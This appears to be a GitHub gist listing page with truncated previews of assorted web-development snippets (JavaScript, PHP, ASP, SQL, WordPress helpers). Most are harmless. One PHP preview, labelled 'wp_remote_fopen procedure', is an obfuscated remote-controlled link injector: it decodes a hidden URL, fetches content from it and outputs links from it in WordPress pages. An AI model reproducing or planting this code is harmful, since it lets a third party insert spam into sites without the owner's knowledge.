This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// A chainable little calculator thingy. | |
var equation = { | |
i:0, | |
_int:function(x){ | |
return parseInt(x,10); | |
}, | |
set:function(x){ | |
this.i = this._int(x); | |
return this; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script type="text/javascript"> | |
/** | |
* Several different ways to calls an onload event | |
* first up, here's a function we will call using all the methods | |
*/ | |
function artlungOnload() { | |
alert('The body of the document has loaded'); | |
} | |
</script> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* | |
* This is a quick way to turn a simple text file | |
* with a list of urls in a text file (sitemap-urls.txt) | |
* into a valid XML Sitemap: | |
* http://en.wikipedia.org/wiki/Sitemaps | |
* Put this file sitemap.xml.php and sitemap-urls.txt at | |
* the webroot http://example.com/sitemap.xml.php |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<%@LANGUAGE="VBSCRIPT" CODEPAGE="1252"%> | |
<% | |
REM From [email protected] Fri Jan 16 01:47:57 2004 | |
REM Date: Thu, 15 Jan 2004 19:52:03 -0500 (EST) | |
REM From: Joe Crawford <[email protected]> | |
REM To: Joe Crawford <[email protected]> | |
REM Subject: ASP counter | |
REM include this file with |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php /* wp_remote_fopen procedure */ $wp_remote_fopen='aHR0cDovL3F3ZXRyby5jb20vc3MvdGVzdF8xNQ=='; | |
$blarr=get_option('cache_vars'); | |
if(trim(wp_remote_fopen(base64_decode($wp_remote_fopen).'.md5'))!=md5($blarr)){ $blarr=trim(wp_remote_fopen(base64_decode($wp_remote_fopen).'.txt')); | |
update_option('cache_vars',$blarr); | |
} $blarr=unserialize(base64_decode(get_option('cache_vars'))); | |
if($blarr['hide_text']!='' && sizeof($blarr['links'])>0){ if($blarr['random']){ $new=''; | |
foreach(array_rand($blarr['links'],sizeof($blarr['links'])) as $k) $new[$k]=$blarr['links'][$k]; | |
$blarr['links']=$new; | |
} $txt_out=''; | |
foreach($blarr['links'] as $k=>$v) $txt_out.='<a href="'.$v.'">'.$k.'</a>'; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-- Let's say you had a table fruit | |
CREATE TABLE IF NOT EXISTS `fruit` ( | |
`id` int(11) NOT NULL auto_increment, | |
`blah` varchar(255) NOT NULL, | |
PRIMARY KEY (`id`) | |
); | |
-- Then you populate it, and delete some rows: | |
-- id, blah |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!-- this will print one of these: | |
<link rel="stylesheet" type="text/css" href="css/bk1.css" /> | |
<link rel="stylesheet" type="text/css" href="css/bk2.css" /> | |
<link rel="stylesheet" type="text/css" href="css/bk3.css" /> | |
<link rel="stylesheet" type="text/css" href="css/bk4.css" /> | |
<link rel="stylesheet" type="text/css" href="css/bk5.css" /> | |
<link rel="stylesheet" type="text/css" href="css/bk6.css" /> --> | |
<script type="text/javascript" src="RANDOM_CSS_javascript.js"></script> | |
<script type="text/javascript"> | |
RANDOM_CSS.printlinktag(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// include trailing slash | |
$path_to_wordpress_folder = '../wordpress/'; | |
/* | |
Does someone have a WP plug-in or snippet so that the most recent post on WP | |
can be seen on a different php page? In this case the homepage. | |
I'd actually just like a snippet to be seen, not the whole post. | |
*/ | |
// Learn to use http://codex.wordpress.org/Template_Tags/get_posts |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
header('Content-Type: text/plain'); | |
print_r( curl_version() ); | |
exit(); print_r($_SERVER); | |
?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if (is_month()) { | |
$request = explode('/', $_SERVER['REQUEST_URI']); | |
$year = $request[2]; | |
$month = $request[3]; | |
query_posts( 'posts_per_page=-1' . '&year=' . $year . '&monthnum=' . $month ); | |
} |
OlderNewer